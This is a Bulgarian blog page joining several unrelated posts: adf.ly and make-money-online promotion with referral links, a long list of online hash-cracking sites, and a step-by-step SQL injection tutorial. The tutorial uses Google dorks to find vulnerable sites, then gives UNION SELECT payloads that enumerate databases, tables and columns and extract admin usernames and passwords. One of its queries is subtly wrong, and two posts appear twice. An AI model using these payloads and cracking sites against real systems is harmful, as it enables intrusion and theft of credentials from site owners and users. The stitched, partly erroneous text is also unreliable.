Сигурно много от вас си задават въпрос, а други може би знаят, adf.ly Е сайт в който променяте вида на линка и потребителят трябва да изгледа 8 секундна реклама изглеждаща така
След 8 секунден брояч Click-вате на бутона Skip AD и преминавате към link-а.
Каква е печалбата зависимост от държавата от която получавате посетители от 30 цента до 5$ за 1000 посетители както можете да видите в тяхната реклама.
Оценявайте труда на хората и не ги съдете за тези линкове ако информацията която ви предоставят е важна, интересна или ценна.
Линк за регистрация в adf.ly очаквайте метод в следваща статия за автоматична печалба от там.
Подкрепете сайта като се регистрирате като наш реферал. Рефералите ще имат достъп до статии преди публикуването им за широката аудитория.
РПари от интернет, наистина ли са толкова лесни и бързи както пишат
Отговорът на този въпрос е и да и не. Да защото парите наистина са лесни и бързи, но ако имате знания да работите в интернет.
Не се отчайвайте интернет предлага и много методи за хора без знания или минимални в тази област. Да минем на въпроса,а той е От какво мога да си докарам допълнителни приходи в интернет? А ето и нашият отговор Методи за допълнителен доход.
Най-често използвания метод е PTC сайтове. Това са сайтове като Neobux и други Bux сайтове.
Печалбите не са големи или поне в началото, но все пак си е доход. За повече приходи разчитате на закупени Premium пакети ( това са разходи, но като инвистиция и не са задължителни ). Реферали като рекламирате техния сайт вие получавате от 5% до 30% зависимост от сайта печалби от хората който сте агитирали по един или друг начин. В следваща статия ще споменем повече за този вид сайтове или съвети за използването им.
PPD - Pay per download сайтове като Fileice. Приходите са от 0,50$ до 10-15$ на ден зависимост от вашите идеи и материали който качвате. Споделяте линк и печелите за всеки download. Като човека който се опита да свали файл попълва анкети и други препятствия. Звучи ли ви познато :)
PTP - доста интересен метод за печалба и подлежи на много манипулации да бъде напълно автоматизиран печалбата е малко по-голяма от PTC сайтовете.Очаквайте статия с интересни напълно автоматични методи за приход с подобен вид дейност.
Youtube - С метода Youtube partnership получавате пари за гледания на ваши клипове. За съжаление опцията не е валидна за България или поне малко хора могат да се възползват от нея.
Безспорно най-добрия метод за пари е блоггинг. За целта създавате блог и просто публикувате неща на определена тематика интересни за вас и вашата аудитория. Печалби имате от Google и други рекламодатели. Напълно безплатни са и доста хостове предлагат тази услуга най-известни са wordpress и blogger.com (собственост на Google ).
Има и други методи като игри, писане на captcha кодове, публикуване на статии и други.
Съветът ми към хората който искат да си докарват допълнителен доход от интернет да четат колкото могат повече на тази тема. Да изберат най-добрия метод за тях, и най-вече да проверят лигитимноста на сайтовете на места като този например http://adf.ly/ZGaj3
Успех и очаквайте много публикации на тази тема. Все пак е криза и много хора се интересуват от тази тема.
Не се отчайвайте интернет предлага и много методи за хора без знания или минимални в тази област. Да минем на въпроса,а той е От какво мога да си докарам допълнителни приходи в интернет? А ето и нашият отговор Методи за допълнителен доход.
Най-често използвания метод е PTC сайтове. Това са сайтове като Neobux и други Bux сайтове.
Печалбите не са големи или поне в началото, но все пак си е доход. За повече приходи разчитате на закупени Premium пакети ( това са разходи, но като инвистиция и не са задължителни ). Реферали като рекламирате техния сайт вие получавате от 5% до 30% зависимост от сайта печалби от хората който сте агитирали по един или друг начин. В следваща статия ще споменем повече за този вид сайтове или съвети за използването им.
PPD - Pay per download сайтове като Fileice. Приходите са от 0,50$ до 10-15$ на ден зависимост от вашите идеи и материали който качвате. Споделяте линк и печелите за всеки download. Като човека който се опита да свали файл попълва анкети и други препятствия. Звучи ли ви познато :)
PTP - доста интересен метод за печалба и подлежи на много манипулации да бъде напълно автоматизиран печалбата е малко по-голяма от PTC сайтовете.Очаквайте статия с интересни напълно автоматични методи за приход с подобен вид дейност.
Youtube - С метода Youtube partnership получавате пари за гледания на ваши клипове. За съжаление опцията не е валидна за България или поне малко хора могат да се възползват от нея.
Безспорно най-добрия метод за пари е блоггинг. За целта създавате блог и просто публикувате неща на определена тематика интересни за вас и вашата аудитория. Печалби имате от Google и други рекламодатели. Напълно безплатни са и доста хостове предлагат тази услуга най-известни са wordpress и blogger.com (собственост на Google ).
Има и други методи като игри, писане на captcha кодове, публикуване на статии и други.
Съветът ми към хората който искат да си докарват допълнителен доход от интернет да четат колкото могат повече на тази тема. Да изберат най-добрия метод за тях, и най-вече да проверят лигитимноста на сайтовете на места като този например http://adf.ly/ZGaj3
Успех и очаквайте много публикации на тази тема. Все пак е криза и много хора се интересуват от тази тема.
Online Hash Crackers - Колекция от най-добрите сайтове в интернет за кракване на hash
MD5 Crackers links:
Tobtu
TMTO
MD5Decrypter(uk)
OnlineHashCrack
AuthSecu
Gat3way
MD5this
NetMD5crack
Kalkulators
Rednoize
Gromweb
hash-cracker.com
Crackfoo -NNC
MD5Rainbow
Digitalsun
Hashcrack
Sans
Crackfor.me
MD5-lookup
MD5decrypter
MD5-db
MD5-decrypter
HashCracking.ru
Shalla
Hash-Database
MD5decryption
agilobable.pl
Drasen
MD5finder
MD5pass
Bokehman
Shell-Storm
Xanadrel
Joomlaaa
Appspot
Noisette
MD5crack
Kinginfet
Benramsey
VHCTeam
Hack-Shop
Longgie
rusuh.us
Wordd
Anqel
CMD5
web-security-services
MD5online
MD5.my-addr
C0llision
MD5hood
Schwett
TheKaine
Fox21
Generuj
NTLM Cracker Hashes
MD5decrypter(uk)
OnlineHashCrack
hash-cracker.com
HashCrack
Fox21
LMCrack
CMD5
LM Cracker Hashes
OnlineHashCrack
HashCrack
NiceNameCrew
C0llision
Fox21
SHA1 Cracker Hashes
MD5Decrypter(uk)
Rednoize
hash-cracker.com
Sans
SHA1-Lookup
HashCracking.ru
Hash-Database
CMD5
StringFunction
Web-Security-Services
SHA256-512 Cracker
Hash-Database
MySQL Cracker Hashes
OnlineHashCrack
Hashcrack
HashCracking.ru
CMD5
WPA
https://www.cloudcracker.com/
SQL Injection (SQLi) - как да изтеглим информация от незащитен сървър
Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!
Въведение:
SQL
Injection е техника, която използва уязвимост
в системата, позволяваща да вземете
информация за база данни на дадено
приложение. Уязвимостта се проявява,
когато потребител въведе некоректно
филтрирани знаци (' # и други). SQL инжекцията
е позната още като SQL insertion attacks.
Полезни
доркове ( google ) , с помощта на които можете
да намерите уязвими сайтове:
Когато
търсите в гугъл, изберете си някой дорк
и сложете inurl: пред него. (Ако няма)
ПРОВЕРКА
ЗА УЯЗВИМОСТ
Например
взимаме сайт с дорк "index.php?id="
http://www.example.com/index.php?id=3
За
да проверим , дали е уязвим сайта, слагаме
знак ' преди или след 3
http://www.example.com/index.php?id=3'
или
http://www.example.com/index.php?id='3
Ако
сайтът е уязвим, трябва да излезе грешка
от вида :
Error
: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use
near '\'' at line 1
ВЗЕМАНЕ
НА БРОЯ НА КОЛОНИТЕ
След
като разберете дали сайтът е уязвим от
първа стъпка, трябва да разберем броя
на колоните. Най-лесният начин е да
използваме стринга "order by". Всичко,
което трябва да направите е да напишете
ORDER BY (номер на колоните)-- в URL бара след
края на линка. Направете го да изглежда
така:
Пример:
http://www.example.com/index.php?id=3
order by 1--
http://www.example.com/index.php?id=3
order by 2--
http://www.example.com/index.php?id=3
order by 3--
http://www.example.com/index.php?id=3
order by 4--
http://www.example.com/index.php?id=3
order by 5--
http://www.example.com/index.php?id=3
order by 6--
http://www.example.com/index.php?id=3
order by 7--
http://www.example.com/index.php?id=3
order by 8--
http://www.example.com/index.php?id=3
order by 9--
Да
кажем , че след последния ред
(example.com/index.php?id=3 order by 9--) получим грешка.
Това означава, че броят на колоните е
предходната цифра (8). Ако грешката е на десетото число, значи колоните са 9. Ако грешката е на 50, значи имаме 49 колони. Но едва ли ще случите на толкова много. Ако имате лоша
памет, ще е добре да си запишете някъде, защото ще ви потрябва по-нататък. :)
НАМИРАНЕ
НА ДОСТЪПНИ КОЛОНИ
Сега
като имаме броя на колоните, ние се
нуждаем от цифрите на колоните, откъдето
можем да вземем информация. Правим това
посредством "UNION" "SELECT" и броя
на колоните. Слагат се заедно в линка
така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8--
За
последна цифра допълвате до броя на
колоните. Пример: ако имаме 10 колони, ще
напишем на края на линка ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--. Ако
имаме 15 колони ще напишем
...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
и така нататък. Също така не забравяйте
да сложите "-" пред id номера.
След
като го направите, страницата трябва
да изглежда малко разхвърляна/развалена
и ще забележете 2 числа/цифри на страницата
(удебелени). Тези числа/цифри показват
от кои колони можем да вземем информация.
По-късно ще ги използваме, като ги
заменяме, така че ги запомнете/запишете.
Ще приемем, че ни излиза 3.
НАМИРАНЕ
НА ВЕРСИЯТА НА MYSQL БАЗА ДАННИ
Причината,
поради която се нуждаете от версията
на MYSQL е за да видите, дали си струва да
инжектирате. Ако версията е над 5.0
следвайте инструкциите. Ако е под версия
5.0 , ще се използва Blind SQLi , за което ще
напиша урок по-късно, така че наглеждайте
форума /профила ми/.
Сега
вземаме едно от числата, които открихме
преди малко и го заменяме с "@@version"
<запазена команда.
Това
: example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8-- Ще
стане http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8-- . След като заредите страницата, ще ви
излезе версията на MYSQL DB .
НАМИРАНЕ
НА ИМЕНА В БАЗА ДАННИ
Сега
ще инжектираме сайта и ще намерим имената
на база данните. Заменяме "@@version"
със "group_concat(schema_name)" и добавяме
+from+information_schema.schemata-- след последното
число и края на линка. Така че линкът ще
се промени:
example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8--
––––> http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,group_concat(version),4,5,6,7,8+from+information_schema.schemata--
Това
ще покаже имената на база аднните. Сега
за да намерим коя се използва, заменяме
"group_concat(schema_name)" с "concat(database())"
и махаме "+from+information_schema.schemata". Така че
линкът ще изглежда така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,concat(database()),4,5,6,7,8--
Това ще изведе името на база данните,
която се ползва. Можете да си я запишете.
Ще приемем, че ни дава primerna_baza_danni.
НАМИРАНЕ
НА ИМЕНА НА ТАБЛИЦИ
За
да вземем име на таблица от сегашната
база данни, трябва да заменим
"concat(database())" с "group_concat(table_name)"
и да добавим from "information_schema.tables where
table_schema=database()" между последната цифра и "--". Също така е желателно да премахнете
"+" -овете. Сега линкът ще изглежда
така:
http://www.example.com/index.php?id=-3
UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from
information_schema.tables where table_schema=database()--
На
страницата трябва да се покажат имената
на таблиците. Можете да си ги запишете
, тъй като са важни за по-нататък. Ще
приемем за примерна таблица primerna_tablica.
НАМИРАНЕ
НА ИМЕНА НА КОЛОНИ
Това
е точно като взимането на имената на
таблиците. Само трябва да промените
"table_name" на "column_name" и
"information_schema.tables" на
"information_schema.columns". Линкът ще изглежда
така:
http://www.example.com/index.php?id=-3
UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 from
information_schema.columns where table_schema=database()--
Така,
това ще ви даде имената на колоните.
Може да ги запишете.
Да
кажем , че ни даде следните имена на
колони:
admin_ime
admin_parola
ВЗЕМАНЕ
НА ИНФОРМАЦИЯ
Сега
можем да имаме името на базата данни,
имената на таблиците, имената на колоните.
Можем да ги обобщим в един код и да
получим информация от тях. За да направим
това ни е нужно:
http://www.example.com/index.php?id=-3
UNION SELECT
1,2,group_concat(име_на_колона,0x3a,име_на_колона,0x3a),4,5,6,7,8
from име_на_базата.име_на_таблицата--
Пояснение:
*
Заменете име_на_колоната с името на
вашата колона, която сте намерили.
*
0x3a ще сложи двуеточие (:) , за да раздели
информацията. Можете да сложите колкото
си искате имена на колони, важното е да
ги разделите подобаващо. Също заменете
име_на_базата.име_на_таблицата със
съответно: името на база данните и името
на таблицата, които сте намерили. След
това линкът ще изглежда подобно:
http://www.example.com/index.php?id=-3
union select
1,group_concat(admin_ime,0x3a,admin_parola,0x3a),2,3,4,5,6,7,8 from
primerna_baza_danni.primerna_tablica--
Сега
имате основни знания за SQLi. Трябва да знаете, че този метод не важи за всички видове грешки в SQL. Има и вариант за изтегляне на информация чрез Blind SQLi, където нещата стават по-сложни. За това ще напишем урок по-нататък! Наслаждавайте
се. Вложих много труд в тази статия, така
че се надявам да ви хареса :)
Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!
Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!
Подновяваме дейността си!!!
Здравейте, драги читатели!
Сигурно сте забелязали, че отдавна блогът не е поддържан. Е, това вече ще се промени! Започваме отново да споделяме интересни и полезни трикове, свързани с компютри и интернет! Ще има доста разнообразни статии, тъй че няма да ви разочароваме!
Също така, можете да си поръчате туториал, статия. Просто го напишете като коментар в тази статия!
До скоро!
Сигурно сте забелязали, че отдавна блогът не е поддържан. Е, това вече ще се промени! Започваме отново да споделяме интересни и полезни трикове, свързани с компютри и интернет! Ще има доста разнообразни статии, тъй че няма да ви разочароваме!
Също така, можете да си поръчате туториал, статия. Просто го напишете като коментар в тази статия!
До скоро!
Subscribe to:
Posts (Atom)